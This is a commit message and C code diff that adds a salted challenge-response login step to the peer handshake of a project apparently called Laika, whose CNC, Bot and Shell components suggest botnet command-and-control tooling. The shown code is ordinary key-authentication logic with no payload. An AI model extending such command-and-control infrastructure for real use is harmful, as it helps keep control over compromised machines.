CNC, Lib, Bot, Shell: New 2nd stage handshake

- New packet, LAIKAPKT_PEER_LOGIN_REQ
- All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet
- Protcol minor version incremented to 0.4

lib/src/lpeer.c

@@ -28,6 +28,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
     memset(peer->inet, 0, LAIKA_INET_LEN);
     memset(peer->ipStr, 0, LAIKA_IPSTR_LEN);
 
+    /* generate peer's salt */
+    laikaS_genSalt(peer);
+
     return peer;
 }
 
@@ -37,6 +40,16 @@ void laikaS_freePeer(struct sLaika_peer *peer)
     laikaM_free(peer);
 }
 
+void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt)
+{
+    memcpy(peer->salt, salt, LAIKA_HANDSHAKE_SALT_LEN);
+}
+
+void laikaS_genSalt(struct sLaika_peer *peer)
+{
+    randombytes_buf(peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
+}
+
 /* ===================================[[ Start/End Packets ]]=================================== */
 
 void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)